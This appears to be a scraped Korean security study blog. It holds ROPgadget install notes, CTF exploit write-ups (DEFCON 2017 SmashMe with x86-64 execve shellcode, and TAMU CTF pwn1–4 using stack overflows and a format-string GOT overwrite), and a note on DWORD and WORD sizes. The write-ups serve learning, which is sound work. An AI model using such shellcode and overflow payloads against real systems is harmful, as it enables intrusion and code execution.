보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
git clone -b master http://github.com/JonathanSalwan/ROPgadget.git
sudo apt-get install libcapstone3
sudo pip install capstone
sudo pip install ropgadget
./ROPgadget.py --binary ./file
ROPgadget 디렉터리 가서 해야댐..
ref : https://github.com/JonathanSalwan/ROPgadget/tree/master
리눅스 syscall table for x86_64 (0) | 2017.05.12 |
---|---|
힙 스프레이 및 uaf? (0) | 2017.05.09 |
gcc checksec unprotect? (0) | 2017.05.08 |
2월 22일 system 공부 (0) | 2017.02.22 |
How2Heap - study (0) | 2017.01.24 |
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * s = remote("smashme_omgbabysfirst.quals.shallweplayage.me", 57348) s.recv(1024) payload = "\x90"*6 payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # shellcode 27bit payload += "smash me outside how bout dAAAAAAAAAAA" payload += "\x1b\x4e\x4c" s.sendline(payload) s.interactive() | cs |
2017 Hust CTF write up (0) | 2017.05.28 |
---|---|
defcon2016 - [rev]baby-re (0) | 2017.05.21 |
RCTF - [misc]intoU (0) | 2017.05.21 |
TAMU CTF - pwnable(1~4) (0) | 2017.04.23 |
Defcon 23 - babycmd (0) | 2017.01.12 |
pwn 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * from time import * context(arch='i386', os='linux') r = remote('pwn.ctf.tamu.edu', 4322) flag = 0xCA11AB1E payload = 'a'*0x1b payload += p32(flag) r.sendline(payload) print r.recv(1024) sleep(0.3) | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * s = remote("pwn.ctf.tamu.edu",4321) elf = ELF("./pwn2") flag = 0x0804854B payload = "A"*140 payload += p32(flag) s.sendline(payload) print s.recv(1024) | cs |
pwn 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from pwn import * from time import * s = remote("pwn.ctf.tamu.edu", 4323) s = process('./pwn3') exit_got = 0x804a01c print_flag = 0x80485ab - 4 payload = p32(exit_got) payload += '%%%dx' % print_flag payload += '%%%d$n' % 4 print s.recvuntil('Enter a word to be echoed:') s.sendline(payload) print s.recvuntil('This function has been deprecated') flag = s.recv(1024) print flag # 3번은..그냥 (python ~~~ |cat --) | nc 로 해결. # 익스 코드는 payload를 가지고 gdb 에서 검증. | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * s = remote("web.ctf.tamu.edu",4324) #s.recvuntil("I require an input:") sys = 0x80484d9 # <flag_func+14> flag = 0x0804A028 # string meun payload = "A"*16 payload += p32(sys) payload += p32(flag) s.sendline(payload) print s.recv(1024) | cs |
2017 Hust CTF write up (0) | 2017.05.28 |
---|---|
defcon2016 - [rev]baby-re (0) | 2017.05.21 |
RCTF - [misc]intoU (0) | 2017.05.21 |
DEFCON_2017 - SmashMe (0) | 2017.05.08 |
Defcon 23 - babycmd (0) | 2017.01.12 |
dword ptr의 뜻이 전부터 궁금했는데.
결론은 word 2byte . Dword 4 byte
[] 적혀있는것은 포인터로 이해하면 되는데. 아마 이 개념은 원래 알고 있는 거긴한데
결론은 사이즈 표기? 라 이해해야되는건가... 그래서 좀더 검색 해서 정리해보려고 한다.
WinDef.h 에는 다음과 같이 Dword / word 가 정의 되어 있다.
typedef unsigned long DWORD;
typedef unsigned short WORD;
따라서 대부분 win32 기반하에선 DWORD는 4byte(32bit 기준)가 된다. 그럼 당연히 WORD는 2byte(16bit)이 된가고 생각하면 된다.
근데 여기서 또 궁금증이 생기는 것이 왜 32bit window에서 word의 size가 16bit이 될까 인데... 이는 하위 호환성이다.
intel 8086 processor 부터 이어지는 intel CPU Architecture의 하위 호환 문제 때매 컴파일러에서도 그냥 WORD를 16bit을 표현했다고 한다.
그 이외에도 VS에는 DWORD32 / 64 형을 지원 한다고 한다.
typedef unsigned int DWORD32, *PDWORD32;
typedef unsigned __int64 DWORD64, *PDWORD64;
DWORD32를 살펴보면 long대신에 int 가 쓰인다. 그럼 이게 좀 궁금해지는게 .. intel에서 하위 호환 문제를 해결 하기 위해서 규칙을 새웠는데 그걸 어기는것이 아닌가... 흠 잘 모르겠따..
출처 : http://wiki.kldp.org/wiki.php/32bitCodeTo64bit
Angr 설치 (0) | 2017.05.21 |
---|---|
linux remote ida debug (0) | 2017.05.08 |
Reversing _ 1 day(잠시중단) (2) | 2016.12.20 |
Anti Debugging (0) | 2016.11.30 |
CodeEnge_Basic L01~05 (0) | 2016.10.04 |